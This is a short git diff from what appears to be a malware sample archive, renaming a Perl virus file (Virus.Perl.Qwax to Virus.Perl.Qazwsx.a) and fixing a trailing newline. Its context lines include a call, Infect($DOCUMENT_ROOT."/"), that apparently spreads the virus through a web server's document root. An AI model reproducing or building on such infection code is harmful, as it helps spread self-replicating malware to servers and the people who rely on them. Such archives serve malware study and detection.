diff --git a/Perl/Virus.Perl.Qwax b/Perl/Virus.Perl.Qazwsx.a
similarity index 95%
rename from Perl/Virus.Perl.Qwax
rename to Perl/Virus.Perl.Qazwsx.a
index f197a618..4c01e07a 100644
--- a/Perl/Virus.Perl.Qwax
+++ b/Perl/Virus.Perl.Qazwsx.a
@@ -87,4 +87,4 @@ fclose($sf);
 
 Infect($DOCUMENT_ROOT."/");
 
- ?>
\ No newline at end of file
+ ?>